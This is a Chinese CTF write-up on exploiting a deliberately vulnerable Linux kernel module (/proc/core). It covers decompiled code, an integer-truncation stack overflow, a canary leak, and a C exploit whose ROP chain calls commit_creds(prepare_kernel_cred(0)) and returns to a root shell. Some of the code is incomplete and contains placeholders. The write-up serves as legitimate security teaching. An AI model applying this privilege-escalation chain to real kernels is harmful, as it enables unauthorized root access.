基于栈溢出的内核ROP利用分析与实践
字数 1456 2025-12-16 12:33:05

基于栈溢出的内核ROP利用分析与实践

一、漏洞背景与题目分析

1.1 内核模块功能分析

题目是一个存在漏洞的内核模块,主要功能如下:

初始化函数:注册一个proc虚拟文件用于用户态与内核态交互

__int64 init_module() {
    core_proc = proc_create("core", 438, 0, &core_fops);
    printk(&unk_2DE, 438);
    return 0;
}

write函数:从用户空间往内核空间的name全局变量写入数据(最大0x800字节)

__int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 n0x800) {
    printk(&unk_215, a2);
    if (n0x800 <= 0x800 && !copy_from_user(&name, a2, n0x800))
        return (unsigned int)n0x800;
    printk(&unk_230, a2);
    return 4294967282LL;
}

read函数:从内核空间往用户空间读取数据

unsigned __int64 __fastcall core_read(__int64 off, __int64 a2) {
    // ... 省略局部变量声明
    v8 = __readgsqword(0x28u); // 读取canary值
    strcpy(Welcome_to_the_QWB_CTF_challenge._n, "Welcome to the QWB CTF challenge.\n");
    result = copy_to_user(off, &Welcome_to_the_QWB_CTF_challenge._n[::off], 64);
    // ... 省略其他代码
}

ioctl函数:提供更完善的功能选择

__int64 __fastcall core_ioctl(__int64 a1, __int64 a2, __int64 off) {
    switch ((_DWORD)a2) {
        case 0x6677889B:
            core_read(off);
            break;
        case 0x6677889C:
            printk(&unk_2CD, off);
            ::off = off; // 设置全局偏移量
            break;
        case 0x6677889A:
            printk(&unk_2B3, a2);
            core_copy_func(off); // 关键漏洞函数
            break;
    }
    return 0;
}

核心漏洞函数:存在整数溢出和栈溢出

__int64 __fastcall core_copy_func(__int64 off, __int64 a2) {
    _QWORD dst_[10]; // 栈缓冲区,大小0x50字节
    dst_[8] = __readgsqword(0x28u); // 栈保护canary
    
    if (off > 63) {
        printk(&unk_2A1, a2);
        return 0xFFFFFFFFLL;
    } else {
        result = 0;
        qmemcpy(dst_, &name, (unsigned __int16)off); // 类型转换漏洞
    }
    return result;
}

1.2 漏洞原理分析

  1. 整数溢出漏洞core_copy_func函数中,参数off被转换为unsigned __int16类型

    • 当传入off值为0xffffffffffffffff时,转换为16位后变为0xffff(即65535)
    • 绕过off > 63的检查,但实际拷贝长度为65535字节
    • 导致栈缓冲区dst_(仅80字节)被大量数据覆盖
  2. 栈溢出利用:通过精心构造的溢出数据,可以:

    • 覆盖返回地址
    • 绕过Stack Canary保护
    • 实现内核权限提升

二、环境搭建与工具准备

2.1 文件结构

give_to_player/
├── core.ko          # 漏洞内核模块
├── vmlinux          # 带符号的内核镜像
├── start.sh         # 启动脚本
├── init             # 初始化脚本
└── exp.c           # 利用代码

2.2 GDB调试脚本(gdb.sh)

#!/bin/sh
gdb -q \
    -ex "file vmlinux" \
    -ex "add-symbol-file core.ko 0xffffffffc0000000" \
    -ex "target remote localhost:1234" \
    -ex "b core_ioctl" \
    -ex "b core_open" \
    -ex "b core_release" \
    -ex "b core_write" \
    -ex "b core_read" \
    -ex "info b"

2.3 文件系统打包脚本

#!/bin/sh
find . | cpio -o --format=newc > ../core.cpio

三、利用思路与技术要点

3.1 利用步骤

  1. 信息泄露:通过read函数泄露栈上的Canary值

    • 设置合适的off值,读取栈上特定位置的数据
    • 从返回数据中提取Canary值
  2. ROP链构造:构建提升权限的ROP链

    • 调用prepare_kernel_cred(0)创建root凭证
    • 调用commit_creds()应用凭证
    • 返回用户态执行shell
  3. 栈溢出利用:通过漏洞函数执行ROP链

    • 精心构造溢出数据,保持Canary值不变
    • 覆盖返回地址为ROP链起始地址

3.2 关键防护绕过技术

  1. KASLR绕过:题目关闭KASLR,可直接使用固定地址
  2. SMEP/SMAP绕过:通过ROP技术在内核态执行代码
  3. KPTI绕过:使用正确的返回用户态技术

四、利用代码详细分析

4.1 基础模板框架

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdint.h>

// 类型定义和工具宏
#define u64 unsigned long
#define KERNCALL __attribute__((regparm(3)))

// 内核函数指针
void *(*prepare_kernel_cred)(void*) KERNCALL;
void *(*commit_creds)(void*) KERNCALL;

// 用户态寄存器保存
size_t user_cs, user_ss, user_rflags, user_sp;

void save_state() {
    __asm__(
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );
}

4.2 功能函数封装

void core_read(int fd, char *buf) {
    ioctl(fd, 0x6677889B, buf);
}

void set_offset(int fd, int off) {
    ioctl(fd, 0x6677889C, off);
}

void trigger_copy(int fd, u64 len) {
    ioctl(fd, 0x6677889A, len);
}

4.3 Canary泄露实现

void leak_canary(int fd) {
    set_offset(fd, 0x40);  // 设置读取偏移到Canary位置
    
    u64 buf[0x100] = {0};
    core_read(fd, (char*)buf);
    
    u64 canary = buf[4];  // Canary在特定偏移位置
    printf("[*] Leaked canary: 0x%lx\n", canary);
}

4.4 ROP链构造

void build_rop_chain(u64 *rop, u64 canary, u64 prepare_kernel_cred_addr, 
                    u64 commit_creds_addr, u64 get_shell_addr) {
    int i = 8;
    
    // 栈布局构造
    rop[i++] = canary;                    // 保持Canary不变
    rop[i++] = 0;                         // 填充
    
    // ROP链
    rop[i++] = 0xffffffff81000b2f;        // pop rdi; ret
    rop[i++] = 0;                         // rdi = 0
    rop[i++] = prepare_kernel_cred_addr;   // prepare_kernel_cred(0)
    
    rop[i++] = 0xffffffff810a0f49;        // pop rdx; ret
    rop[i++] = commit_creds_addr;         // commit_creds地址
    
    rop[i++] = 0xffffffff812d6c84;        // mov rdi, rax; call rdx
    
    // 返回用户态
    rop[i++] = 0xffffffff81a012da;        // swapgs; popfq; ret
    rop[i++] = 0;
    rop[i++] = 0xffffffff81050ac2;        // iretq; ret
    
    // 用户态上下文
    rop[i++] = (u64)get_shell;            // 返回地址
    rop[i++] = user_cs;                   // CS
    rop[i++] = user_rflags;               // RFLAGS
    rop[i++] = user_sp;                   // RSP
    rop[i++] = user_ss;                   // SS
}

4.5 完整利用流程

int main() {
    save_state();
    
    int fd = open("/proc/core", O_RDWR);
    if (fd < 0) {
        perror("open");
        return -1;
    }
    
    // 1. 泄露Canary
    leak_canary(fd);
    
    // 2. 准备ROP链
    u64 rop[0x100] = {0};
    u64 canary = ...; // 从泄露中获取
    
    // 获取内核函数地址(题目中为固定偏移)
    u64 prepare_addr = 0xffffffff81000000 + 0x9cce0;
    u64 commit_addr = 0xffffffff81000000 + 0x9c8e0;
    
    build_rop_chain(rop, canary, prepare_addr, commit_addr, (u64)get_shell);
    
    // 3. 写入ROP数据到内核
    write(fd, rop, sizeof(rop));
    
    // 4. 触发漏洞(整数溢出)
    trigger_copy(fd, 0xffffffffffffffff); // 触发类型转换溢出
    
    // 5. 获取root shell
    system("/bin/sh");
    
    return 0;
}

五、Gadget查找技术

5.1 使用ropper查找

# 查找swapgs gadget
ropper --nocolor --file vmlinux --search "swapgs" > gadget.txt

# 查找iretq gadget  
ropper --nocolor --file vmlinux --search "iretq" > gadget2.txt

# 查找pop rdi gadget
ropper --nocolor --file vmlinux --search "pop rdi" > gadget3.txt

5.2 使用ROPgadget查找

ROPgadget --binary vmlinux --only "iretq"
ROPgadget --binary vmlinux --only "pop rdi"

六、调试技巧与问题解决

6.1 常见问题及解决方案

  1. Canary泄露不准确

    • 问题:读取偏移设置错误
    • 解决:通过调试确定Canary在栈中的确切位置
  2. ROP链执行失败

    • 问题:Gadget地址错误或上下文破坏
    • 解决:检查Gadget可用性,确保栈布局正确
  3. 内核崩溃

    • 问题:内存访问违规或栈破坏
    • 解决:逐步调试,验证每个Gadget的执行

6.2 调试命令示例

# 检查栈布局
x/30gx $rsp

# 查看Canary值
x/gx $rsp+0x40

# 设置断点跟踪
b *0xffffffffc000011a  # core_copy_func中的检查点

七、防护机制与对抗技术

7.1 现有防护机制

  1. Stack Canary:通过泄露和恢复来绕过
  2. KASLR:题目中已关闭,实际中需通过信息泄露绕过
  3. SMEP/SMAP:通过ROP技术在内核态执行代码绕过
  4. KPTI:使用正确的返回用户态序列

7.2 通用对抗技术

  • 使用内核信息泄露获取基地址
  • 构造可靠的ROP链
  • 确保上下文切换的正确性

八、总结

本实践详细分析了基于栈溢出的内核ROP利用技术,重点包括:

  1. 漏洞分析:整数溢出导致的栈溢出漏洞
  2. 利用链构造:信息泄露 + ROP链执行
  3. 工具使用:GDB调试、Gadget查找等技术
  4. 防护绕过:多种内核防护机制的对抗方法

通过这个案例,可以深入理解内核漏洞利用的基本原理和技术要点,为更复杂的内核安全研究打下坚实基础。

基于栈溢出的内核ROP利用分析与实践 一、漏洞背景与题目分析 1.1 内核模块功能分析 题目是一个存在漏洞的内核模块,主要功能如下: 初始化函数 :注册一个proc虚拟文件用于用户态与内核态交互 write函数 :从用户空间往内核空间的name全局变量写入数据(最大0x800字节) read函数 :从内核空间往用户空间读取数据 ioctl函数 :提供更完善的功能选择 核心漏洞函数 :存在整数溢出和栈溢出 1.2 漏洞原理分析 整数溢出漏洞 : core_copy_func 函数中,参数 off 被转换为 unsigned __int16 类型 当传入 off 值为0xffffffffffffffff时,转换为16位后变为0xffff(即65535) 绕过 off > 63 的检查,但实际拷贝长度为65535字节 导致栈缓冲区 dst_ (仅80字节)被大量数据覆盖 栈溢出利用 :通过精心构造的溢出数据,可以: 覆盖返回地址 绕过Stack Canary保护 实现内核权限提升 二、环境搭建与工具准备 2.1 文件结构 2.2 GDB调试脚本(gdb.sh) 2.3 文件系统打包脚本 三、利用思路与技术要点 3.1 利用步骤 信息泄露 :通过read函数泄露栈上的Canary值 设置合适的off值,读取栈上特定位置的数据 从返回数据中提取Canary值 ROP链构造 :构建提升权限的ROP链 调用 prepare_kernel_cred(0) 创建root凭证 调用 commit_creds() 应用凭证 返回用户态执行shell 栈溢出利用 :通过漏洞函数执行ROP链 精心构造溢出数据,保持Canary值不变 覆盖返回地址为ROP链起始地址 3.2 关键防护绕过技术 KASLR绕过 :题目关闭KASLR,可直接使用固定地址 SMEP/SMAP绕过 :通过ROP技术在内核态执行代码 KPTI绕过 :使用正确的返回用户态技术 四、利用代码详细分析 4.1 基础模板框架 4.2 功能函数封装 4.3 Canary泄露实现 4.4 ROP链构造 4.5 完整利用流程 五、Gadget查找技术 5.1 使用ropper查找 5.2 使用ROPgadget查找 六、调试技巧与问题解决 6.1 常见问题及解决方案 Canary泄露不准确 问题:读取偏移设置错误 解决:通过调试确定Canary在栈中的确切位置 ROP链执行失败 问题:Gadget地址错误或上下文破坏 解决:检查Gadget可用性,确保栈布局正确 内核崩溃 问题:内存访问违规或栈破坏 解决:逐步调试,验证每个Gadget的执行 6.2 调试命令示例 七、防护机制与对抗技术 7.1 现有防护机制 Stack Canary :通过泄露和恢复来绕过 KASLR :题目中已关闭,实际中需通过信息泄露绕过 SMEP/SMAP :通过ROP技术在内核态执行代码绕过 KPTI :使用正确的返回用户态序列 7.2 通用对抗技术 使用内核信息泄露获取基地址 构造可靠的ROP链 确保上下文切换的正确性 八、总结 本实践详细分析了基于栈溢出的内核ROP利用技术,重点包括: 漏洞分析 :整数溢出导致的栈溢出漏洞 利用链构造 :信息泄露 + ROP链执行 工具使用 :GDB调试、Gadget查找等技术 防护绕过 :多种内核防护机制的对抗方法 通过这个案例,可以深入理解内核漏洞利用的基本原理和技术要点,为更复杂的内核安全研究打下坚实基础。